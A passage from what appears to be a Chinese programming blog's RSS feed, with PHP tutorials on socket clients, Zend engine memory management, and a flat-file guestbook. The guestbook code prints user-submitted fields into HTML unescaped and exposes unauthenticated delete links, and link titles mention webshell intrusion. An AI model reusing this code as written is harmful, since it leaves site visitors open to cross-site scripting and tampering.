<p>这个服务器端要做什么呢？它初始化一个socket并且打开一个缓存收发数据。它等待连接，一旦产生一个连接，它将打印“Socket connected”在服务器端的屏幕上。这个服务器检查缓冲区，如果缓冲区里有数据，它将把数据发送到连接过来的计算机。然后它发送这个数据的接受信息，一旦它接受了信息，就把信息保存到数据里，并且让连接的计算机知道这些信息，最后关闭连接。当连接关闭后，服务器又开始处理下一次连接。</p>
<p>◆　产生一个客户端</p>
<p>处理第二个问题是很容易的。你需要产生一个php页连接一个socket，发送一些数据进它的缓存并处理它。然后你又个处理后的数据在还顿，你能够发送你的数据到服务器。在另外一台客户端连接，它将处理那些数据。</p>
<p>下面的例子示范了使用socket：</p>
<p>&lt;?php<br />
// Create the socket and connect<br />
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br />
$connection = socket_connect($socket,’localhost’, 1337);<br />
while($buffer = socket_read($socket, 1024, PHP_NORMAL_READ))<br />
{<br />
if($buffer == “NO DATA”)<br />
{<br />
echo(“&lt;p&gt;NO DATA&lt;/p&gt;”);<br />
break;<br />
}<br />
else<br />
{<br />
// Do something with the data in the buffer<br />
echo(“&lt;p&gt;Buffer Data: “ . $buffer . “&lt;/p&gt;”);<br />
}<br />
}<br />
echo(“&lt;p&gt;Writing to Socket&lt;/p&gt;”);<br />
// Write some test data to our socket<br />
if(!socket_write($socket, “SOME DATA\r\n”))<br />
{<br />
echo(“&lt;p&gt;Write failed&lt;/p&gt;”);<br />
}<br />
// Read any response from the socket<br />
while($buffer = socket_read($socket, 1024, PHP_NORMAL_READ))<br />
{<br />
echo(“&lt;p&gt;Data sent was: SOME DATA&lt;br&gt; Response was:” . $buffer . “&lt;/p&gt;”);<br />
}<br />
echo(“&lt;p&gt;Done Reading from Socket&lt;/p&gt;”);<br />
?&gt;</p>
<p>这个例子的代码演示了客户端连接到服务器。客户端读取数据。如果这是第一时间到达这个循环的首次连接，这个服务器将发送“NO DATA”返回给客户端。如果情况发生了，这个客户端在连接之上。客户端发送它的数据到服务器，数据发送给服务器，客户端等待响应。一旦接受到响应，那么它将把响应写到屏幕上。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/requireeecludexi.html" title="require和include的异同">require和include的异同</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/phpini" title="php.ini" rel="tag">php.ini</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%AE%9E%E4%BE%8B" title="实例" rel="tag">实例</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%B3%A8%E9%87%8A" title="注释" rel="tag">注释</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8B%B1%E6%96%87" title="英文" rel="tag">英文</a>, <a href="http://www.5bay.cn/tag/%E8%8E%B7%E5%8F%96" title="获取" rel="tag">获取</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpeecketee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>深入探讨PHP中的内存管理问题</title>
		<link>http://www.5bay.cn/network-programming/peeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/peeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:15:34 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[扩展函数]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=495</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/peeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 内存 　　在PHP中，填充一个字符串变量相当简单，这只需要一个语句”"即可，并且该字符串能够被自由地修改、拷贝和移动。而在C语言中，尽管你能够编写例如”char *str = “hello world “;”这样的一个简单的静态字符串;但是，却不能修改该字符串，因为它生存于程序空间内。为了创建一个可操纵的字符串，你必须分配一个内存块，并且通过一个函数(例如strdup())来复制其内容。 以下为引用的内容： 　　{ 　　char *str; 　　str = strdup(“hello world”); 　　if (!str) { 　　fprintf(stderr， “Unable to allocate memory!”); 　　} 　　} 　　由于后面我们将分析的各种原因，传统型内存管理函数(例如malloc()，free()，strdup()，realloc()，calloc()，等等)几乎都不能直接为PHP源代码所使用。 　　二、 释放内存 　　在几乎所有的平台上，内存管理都是通过一种请求和释放模式实现的。首先，一个应用程序请求它下面的层(通常指”操作系统”)：”我想使用一些内存空间”。如果存在可用的空间，操作系统就会把它提供给该程序并且打上一个标记以便不会再把这部分内存分配给其它程序。 　　当应用程序使用完这部分内存，它应该被返回到OS;这样以来，它就能够被继续分配给其它程序。如果该程序不返回这部分内存，那么OS无法知道是否这块内存不再使用并进而再分配给另一个进程。如果一个内存块没有释放，并且所有者应用程序丢失了它，那么，我们就说此应用程序”存在漏洞”，因为这部分内存无法再为其它程序可用。 　　在一个典型的客户端应用程序中，较小的不太经常的内存泄漏有时能够为OS所”容忍”，因为在这个进程稍后结束时该泄漏内存会被隐式返回到OS。这并没有什么，因为OS知道它把该内存分配给了哪个程序，并且它能够确信当该程序终止时不再需要该内存。 　　而对于长时间运行的服务器守护程序，包括象Apache这样的web服务器和扩展php模块来说，进程往往被设计为相当长时间一直运行。因为OS不能清理内存使用，所以，任何程序的泄漏-无论是多么小-都将导致重复操作并最终耗尽所有的系统资源。 　　现在，我们不妨考虑用户空间内的stristr()函数;为了使用大小写不敏感的搜索来查找一个字符串，它实际上创建了两个串的各自的一个小型副本，然后执行一个更传统型的大小写敏感的搜索来查找相对的偏移量。然而，在定位该字符串的偏移量之后，它不再使用这些小写版本的字符串。如果它不释放这些副本，那么，每一个使用stristr()的脚本在每次调用它时都将泄漏一些内存。最后，web服务器进程将拥有所有的系统内存，但却不能够使用它。 　　你可以理直气壮地说，理想的解决方案就是编写良好、干净的、一致的代码。这当然不错;但是，在一个象PHP解释器这样的环境中，这种观点仅对了一半。 　　三、 错误处理 　　为了实现”跳出”对用户空间脚本及其依赖的扩展函数的一个活动请求，需要使用一种方法来完全”跳出”一个活动请求。这是在Zend引擎内实现的：在一个请求的开始设置一个”跳出”地址，然后在任何die()或exit()调用或在遇到任何关键错误(E_ERROR)时执行一个longjmp()以跳转到该”跳出”地址。 　　尽管这个”跳出”进程能够简化程序执行的流程，但是，在绝大多数情况下，这会意味着将会跳过资源清除代码部分(例如free()调用)并最终导致出现内存漏洞。现在，让我们来考虑下面这个简化版本的处理函数调用的引擎代码： 以下为引用的内容： 　　void call_function(const char *fname， int fname_len TSRMLS_DC){ 　　zend_function *fe; 　　char *lcase_fname; 　　/* PHP函数名是大小写不敏感的， 　　*为了简化在函数表中对它们的定位， 　　*所有函数名都隐含地翻译为小写的 [...]]]></description>
			<content:encoded><![CDATA[<p>一、 内存</p>
<p>　　在PHP中，填充一个字符串变量相当简单，这只需要一个语句”"即可，并且该字符串能够被自由地修改、拷贝和移动。而在C语言中，尽管你能够编写例如”char *str = “hello world “;”这样的一个简单的静态字符串;但是，却不能修改该字符串，因为它生存于程序空间内。为了创建一个可操纵的字符串，你必须分配一个内存块，并且通过一个函数(例如strdup())来复制其内容。</p>
<p>以下为引用的内容：</p>
<p>　　{</p>
<p>　　char *str;</p>
<p>　　str = strdup(“hello world”);</p>
<p>　　if (!str) {</p>
<p>　　fprintf(stderr， “Unable to allocate memory!”);</p>
<p>　　}</p>
<p>　　}</p>
<p>　　由于后面我们将分析的各种原因，传统型内存管理函数(例如malloc()，free()，strdup()，realloc()，calloc()，等等)几乎都不能直接为PHP源代码所使用。<span id="more-495"></span></p>
<p>　　二、 释放内存</p>
<p>　　在几乎所有的平台上，内存管理都是通过一种请求和释放模式实现的。首先，一个应用程序请求它下面的层(通常指”操作系统”)：”我想使用一些内存空间”。如果存在可用的空间，操作系统就会把它提供给该程序并且打上一个标记以便不会再把这部分内存分配给其它程序。</p>
<p>　　当应用程序使用完这部分内存，它应该被返回到OS;这样以来，它就能够被继续分配给其它程序。如果该程序不返回这部分内存，那么OS无法知道是否这块内存不再使用并进而再分配给另一个进程。如果一个内存块没有释放，并且所有者应用程序丢失了它，那么，我们就说此应用程序”存在漏洞”，因为这部分内存无法再为其它程序可用。</p>
<p>　　在一个典型的客户端应用程序中，较小的不太经常的内存泄漏有时能够为OS所”容忍”，因为在这个进程稍后结束时该泄漏内存会被隐式返回到OS。这并没有什么，因为OS知道它把该内存分配给了哪个程序，并且它能够确信当该程序终止时不再需要该内存。</p>
<p>　　而对于长时间运行的服务器守护程序，包括象Apache这样的web服务器和扩展php模块来说，进程往往被设计为相当长时间一直运行。因为OS不能清理内存使用，所以，任何程序的泄漏-无论是多么小-都将导致重复操作并最终耗尽所有的系统资源。</p>
<p>　　现在，我们不妨考虑用户空间内的stristr()函数;为了使用大小写不敏感的搜索来查找一个字符串，它实际上创建了两个串的各自的一个小型副本，然后执行一个更传统型的大小写敏感的搜索来查找相对的偏移量。然而，在定位该字符串的偏移量之后，它不再使用这些小写版本的字符串。如果它不释放这些副本，那么，每一个使用stristr()的脚本在每次调用它时都将泄漏一些内存。最后，web服务器进程将拥有所有的系统内存，但却不能够使用它。</p>
<p>　　你可以理直气壮地说，理想的解决方案就是编写良好、干净的、一致的代码。这当然不错;但是，在一个象PHP解释器这样的环境中，这种观点仅对了一半。</p>
<p>　　三、 错误处理</p>
<p>　　为了实现”跳出”对用户空间脚本及其依赖的扩展函数的一个活动请求，需要使用一种方法来完全”跳出”一个活动请求。这是在Zend引擎内实现的：在一个请求的开始设置一个”跳出”地址，然后在任何die()或exit()调用或在遇到任何关键错误(E_ERROR)时执行一个longjmp()以跳转到该”跳出”地址。</p>
<p>　　尽管这个”跳出”进程能够简化程序执行的流程，但是，在绝大多数情况下，这会意味着将会跳过资源清除代码部分(例如free()调用)并最终导致出现内存漏洞。现在，让我们来考虑下面这个简化版本的处理函数调用的引擎代码：</p>
<p>以下为引用的内容：</p>
<p>　　void call_function(const char *fname， int fname_len TSRMLS_DC){</p>
<p>　　zend_function *fe;</p>
<p>　　char *lcase_fname;</p>
<p>　　/* PHP函数名是大小写不敏感的，</p>
<p>　　*为了简化在函数表中对它们的定位，</p>
<p>　　*所有函数名都隐含地翻译为小写的</p>
<p>　　*/</p>
<p>　　lcase_fname = estrndup(fname， fname_len);</p>
<p>　　zend_str_tolower(lcase_fname， fname_len);</p>
<p>　　if (zend_hash_find(EG(function_table)，lcase_fname， fname_len + 1， (void **)&amp;fe) == FAILURE) {</p>
<p>　　zend_execute(fe-&gt;op_array TSRMLS_CC);</p>
<p>　　} else {</p>
<p>　　<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>_error_docref(NULL TSRMLS_CC， E_ERROR，”Call to undefined function: %s()”， fname);</p>
<p>　　}</p>
<p>　　efree(lcase_fname);</p>
<p>　　}</p>
<p>　　当执行到php_error_docref()这一行时，内部错误处理器就会明白该错误级别是critical，并相应地调用longjmp()来中断当前程序流程并离开call_function()函数，甚至根本不会执行到efree(lcase_fname)这一行。你可能想把efree()代码行移动到zend_error()代码行的上面;但是，调用这个call_function()例程的代码行会怎么样呢?fname本身很可能就是一个分配的字符串，并且，在它被错误消息处理使用完之前，你根本不能释放它。</p>
<p>　　注意，这个php_error_docref()函数是trigger_error()函数的一个内部等价实现。它的第一个参数是一个将被添加到docref的可选的文档引用。第三个参数可以是任何我们熟悉的E_*家族常量，用于指示错误的严重程度。第四个参数(最后一个)遵循printf()风格的格式化和变量参数列表式样。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%89%A9%E5%B1%95%E5%87%BD%E6%95%B0" title="扩展函数" rel="tag">扩展函数</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/peeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP对文本数据库的基本操作方法</title>
		<link>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html</link>
		<comments>http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:56:38 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[获取]]></category>
		<category><![CDATA[表单]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=490</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法 我用一个留言本程序作为例子，阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。 此文本数据库共有字段10个：客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。 1、加入数据程序段。 $date=date(“Y-m-d H:i:s”);//取得系统时间 $ip = $HTTP_SERVER_VARS[REMOTE_ADDR]; //取得发言的IP地址 $text=encode($gb_text);//去掉留言内容后面的空格. $fp=fopen(“gb.dat”,”a”);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部. $str=$ip.”　”.$date.”　”.$gb_name.”　”.$gb_email.”　”.$gb_home.”　”.$face.”　”.$gb_qq.”　”.$head.”　”.$text.”　”.$reply.”\n”;//将所有留言的数据赋予变量$str，”　”的目的是用来今后作数据分割时的数据间隔符号。 fwrite($fp,$str);//将数据写入文件 fclose($fp);//关闭文件 showmessage(“留言成功!”,”index.php”,”3&#8243;);//留言成功，3秒后自动返回主界面。 其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。 2、数据显示程序段 ＜? if (file_exists(“gb.dat”)){//检测文件是否存在 $array=file(“gb.dat”);//将文件全部内容读入到数组$array $arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]&#8230;）。 $num=count($array);//获取数组$array里的信息数(一行为一条信息) if ($num＞0){//如果信息数大于零（即文本数据库不为空） $total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数) if($page＜1){//如果当前页面数码号小于1 $page=1;//则赋值为1 } $number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的） for($i=0;$i＜=$pagesize-1;$i++){//进入循环 $row=explode(“　”,$arr[$number]);//以”　”作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量 ?＞ ＜img src=＜? echo $head ?＞ ＞//显示客户形象图片 ＜br＞ ＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名 发表于：＜? echo $datetime ?＞//显示留言发表时间 ＜br＞ ＜img [...]]]></description>
			<content:encoded><![CDATA[<p>PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法<br />
我用一个留言本程序作为例子，阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。<br />
此文本数据库共有字段10个：客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。 </p>
<p>1、加入数据程序段。 </p>
<p>$date=date(“Y-m-d H:i:s”);//取得系统时间<br />
$ip = $HTTP_SERVER_VARS[REMOTE_ADDR]; //取得发言的IP地址<br />
$text=encode($gb_text);//去掉留言内容后面的空格.<br />
$fp=fopen(“gb.dat”,”a”);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部.<br />
$str=$ip.”　”.$date.”　”.$gb_name.”　”.$gb_email.”　”.$gb_home.”　”.$face.”　”.$gb_qq.”　”.$head.”　”.$text.”　”.$reply.”\n”;//将所有留言的数据赋予变量$str，”　”的目的是用来今后作数据分割时的数据间隔符号。<br />
fwrite($fp,$str);//将数据写入文件<br />
fclose($fp);//关闭文件<br />
showmessage(“留言成功!”,”index.<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>”,”3&#8243;);//留言成功，3秒后自动返回主界面。<br />
其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。<br />
<span id="more-490"></span><br />
2、数据显示程序段 </p>
<p>＜?<br />
if (file_exists(“gb.dat”)){//检测文件是否存在<br />
$array=file(“gb.dat”);//将文件全部内容读入到数组$array<br />
$arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]&#8230;）。<br />
$num=count($array);//获取数组$array里的信息数(一行为一条信息)<br />
if ($num＞0){//如果信息数大于零（即文本数据库不为空）<br />
$total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数)<br />
if($page＜1){//如果当前页面数码号小于1<br />
$page=1;//则赋值为1<br />
}<br />
$number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的）<br />
for($i=0;$i＜=$pagesize-1;$i++){//进入循环<br />
$row=explode(“　”,$arr[$number]);//以”　”作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom<br />
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量<br />
?＞<br />
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片<br />
＜br＞<br />
＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名<br />
发表于：＜? echo $datetime ?＞//显示留言发表时间<br />
＜br＞<br />
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片<br />
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容<br />
＜br＞<br />
＜? echo $reply ?＞//显示回复内容<br />
＜br＞ </p>
<p>＜a href=”＜? echo $home ?＞” target=”_blank”＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接<br />
＜a href=”mailto:＜? echo $email ?＞”＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接<br />
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码<br />
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞” //显示客户的IP地址<br />
＜a href=”reply.php?time=＜? echo $datetime ?＞”＞回复＜/a＞//留言回复的连接语句<br />
＜a href=”del.php?time=＜? echo $datetime ?＞”＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）<br />
＜br＞<br />
＜?<br />
if ($number == $num-1)//如果数组的单元号等于总留言数减一（因为单元号以零开始的，所以这意味着这是最后一条留言）<br />
{<br />
break;//跳出循环<br />
}<br />
$number = $number + 1; //数组单元号加1<br />
}//循环结束符<br />
}<br />
if ($page ＜＞ 1)//如果当前页面数码号不等于1<br />
{<br />
$back = $page &#8211; 1;//当前页面数码号减1，并将此值赋予变量$back<br />
